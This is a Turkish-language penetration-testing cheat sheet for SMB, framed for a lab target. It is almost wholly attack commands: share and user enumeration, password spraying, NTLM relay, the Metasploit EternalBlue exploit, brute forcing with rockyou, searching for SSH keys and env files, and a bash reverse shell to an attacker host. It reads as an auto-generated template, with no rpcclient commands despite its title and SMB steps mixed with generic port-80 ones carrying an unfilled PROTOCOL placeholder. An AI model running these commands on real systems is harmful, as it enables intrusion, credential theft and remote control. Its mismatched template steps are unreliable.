Skip to content

rpcclient enumeration

SMB windows

SMB paylaşım enum, null session, relay ve kernel CVE (EternalBlue/ksmbd) lateral/RCE üretir. Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 445 fingerprint.

  2. Null/auth enum.

  3. Share/loot.

  4. Relay/CVE.

Terminal window
nmap -Pn -sV -p445,139 TARGET
Terminal window
nmap -Pn -p445,139 --script smb-enum-shares,smb-enum-users,smb-vuln* TARGET
Terminal window
nxc smb TARGET
Terminal window
enum4linux-ng -A TARGET
Terminal window
nxc smb TARGET -u users.txt -p 'Password123!' --continue-on-success
Terminal window
smbclient -L //TARGET -U user%pass
Terminal window
impacket-smbclient DOMAIN/user:pass@TARGET
Terminal window
impacket-ntlmrelayx -tf targets.txt -smb2support
Terminal window
msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; run'
Terminal window
nxc smb TARGET -u u -p p -M spider_plus

rpcclient enumeration için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p80 TARGET
Terminal window
nmap -Pn -p80 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:80' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',80));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → rpcclient enumeration
Terminal window
hydra -L users.txt -P rockyou.txt -s 80 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 80
Terminal window
nmap -p80 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit SMB
Terminal window
msfconsole -q -x 'search SMB; exit'
Terminal window
nuclei -u https://TARGET:80 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:80 -tags tech -silent || true
Terminal window
nc -nv TARGET 80
Terminal window
printf '
' | timeout 3 nc -nv TARGET 80
Terminal window
curl -vk --http1.0 http://TARGET:80/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
enum → creds/CVE → share loot / shell